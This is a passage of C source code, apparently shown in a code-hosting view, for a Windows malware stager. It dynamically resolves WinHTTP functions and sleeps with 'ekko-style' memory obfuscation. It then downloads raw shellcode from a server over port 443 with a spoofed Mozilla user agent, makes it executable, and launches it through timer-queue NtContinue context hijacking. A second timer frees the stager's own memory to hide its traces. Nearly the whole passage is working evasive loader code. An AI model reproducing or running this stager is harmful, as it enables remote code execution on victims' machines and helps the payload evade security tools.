api.WinHttpQueryDataAvailable = (fnWinHttpQueryDataAvailable)GetProcByName(hWinHttp, s_WinHttpQueryDataAvailable);
|
||||
|
||||
/* PROTECTED SLEEP */
|
||||
|
||||
/* Allocate small heap buffer for sleep obfuscation (no persistent data needed for stager) */
|
||||
#define HEAP_SIZE 0x1000 /* 4KB - minimal for stager */
|
||||
PVOID heap_buffer = api.VirtualAlloc(NULL, HEAP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!heap_buffer) return 1;
|
||||
|
||||
/* Sleep with ekko-style obfuscation */
|
||||
protected_sleep(&api, INITIAL_SLEEP_MS, shellcode_base, shellcode_size, heap_buffer, HEAP_SIZE);
|
||||
|
||||
/* FETCH STAGE FROM SERVER */
|
||||
|
||||
/* Open WinHTTP session */
|
||||
wchar_t user_agent[] = {L'M','o','z','i','l','l','a',L'\0'};
|
||||
ALIGN_STACK();
|
||||
HINTERNET hSession = api.WinHttpOpen(user_agent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
||||
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
||||
if (!hSession) return 1;
|
||||
|
||||
/* Connect to server */
|
||||
wchar_t server[] = {L'1',L'2',L'7',L'.',L'0',L'.',L'0',L'.',L'1',L'\0'};
|
||||
ALIGN_STACK();
|
||||
HINTERNET hConnect = api.WinHttpConnect(hSession, server, 443, 0);
|
||||
if (!hConnect) {
|
||||
api.WinHttpCloseHandle(hSession);
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Fetch stage (raw shellcode bytes) */
|
||||
PVOID stage_buffer = NULL;
|
||||
DWORD stage_size = 0;
|
||||
if (http_get_stage(&api, hConnect, &stage_buffer, &stage_size) <= 0) {
|
||||
api.WinHttpCloseHandle(hConnect);
|
||||
api.WinHttpCloseHandle(hSession);
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Clean up HTTP handles - no longer needed */
|
||||
api.WinHttpCloseHandle(hConnect);
|
||||
api.WinHttpCloseHandle(hSession);
|
||||
|
||||
/* EXECUTE STAGE */
|
||||
|
||||
/* Make stage executable */
|
||||
DWORD old_protect = 0;
|
||||
ALIGN_STACK();
|
||||
if (!api.VirtualProtect(stage_buffer, stage_size, PAGE_EXECUTE_READWRITE, &old_protect)) {
|
||||
api.VirtualFree(stage_buffer, 0, MEM_RELEASE);
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* TIMER-BASED EXECUTE + ZERO */
|
||||
|
||||
/* Free heap buffer before handoff */
|
||||
api.VirtualFree(heap_buffer, 0, MEM_RELEASE);
|
||||
|
||||
/*
|
||||
* Use timer queue to:
|
||||
* 1. Execute stage (T+0)
|
||||
* 2. Zero stager memory (T+100ms) ->> runs while stage executes
|
||||
* This allows self-zeroing without corrupting executing code =D
|
||||
*/
|
||||
|
||||
HANDLE hTimerQueue = api.CreateTimerQueue();
|
||||
if (!hTimerQueue) {
|
||||
/* Fallback: just execute directly */
|
||||
typedef void (*stage_fn)(void);
|
||||
((stage_fn)stage_buffer)();
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Capture context from timer thread */
|
||||
CONTEXT CtxThread;
|
||||
my_memset(&CtxThread, 0, sizeof(CONTEXT));
|
||||
|
||||
HANDLE hTimer = NULL;
|
||||
api.CreateTimerQueueTimer(
|
||||
&hTimer,
|
||||
hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api.RtlCaptureContext,
|
||||
&CtxThread,
|
||||
0, 0, WT_EXECUTEINTIMERTHREAD
|
||||
);
|
||||
api.Sleep(100);
|
||||
|
||||
if (CtxThread.Rip == 0) {
|
||||
/* Fallback: just execute directly */
|
||||
typedef void (*stage_fn)(void);
|
||||
((stage_fn)stage_buffer)();
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Context 1: Execute stage */
|
||||
CONTEXT RopExecStage;
|
||||
my_memcpy(&RopExecStage, &CtxThread, sizeof(CONTEXT));
|
||||
RopExecStage.Rsp -= 8;
|
||||
RopExecStage.Rip = (DWORD64)stage_buffer;
|
||||
|
||||
/* Context 2: VirtualFree(shellcode_base, 0, MEM_RELEASE) - zeros by freeing */
|
||||
CONTEXT RopZeroStager;
|
||||
my_memcpy(&RopZeroStager, &CtxThread, sizeof(CONTEXT));
|
||||
RopZeroStager.Rsp -= 8;
|
||||
RopZeroStager.Rip = (DWORD64)api.VirtualFree;
|
||||
RopZeroStager.Rcx = (DWORD64)shellcode_base;
|
||||
RopZeroStager.Rdx = 0;
|
||||
RopZeroStager.R8 = MEM_RELEASE;
|
||||
|
||||
/* Timer 1: Execute stage immediately */
|
||||
api.CreateTimerQueueTimer(
|
||||
&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api.NtContinue, &RopExecStage,
|
||||
0, 0, WT_EXECUTEINTIMERTHREAD
|
||||
);
|
||||
|
||||
/* Timer 2: Free stager after 100ms delay */
|
||||
api.CreateTimerQueueTimer(
|
||||
&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api.NtContinue, &RopZeroStager,
|
||||
100, 0, WT_EXECUTEINTIMERTHREAD
|
||||
);
|
||||
|
||||
/* Block forever - stage takes over, stager gets freed by timer */
|
||||
api.WaitForSingleObject(NtCurrentProcess(), INFINITE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user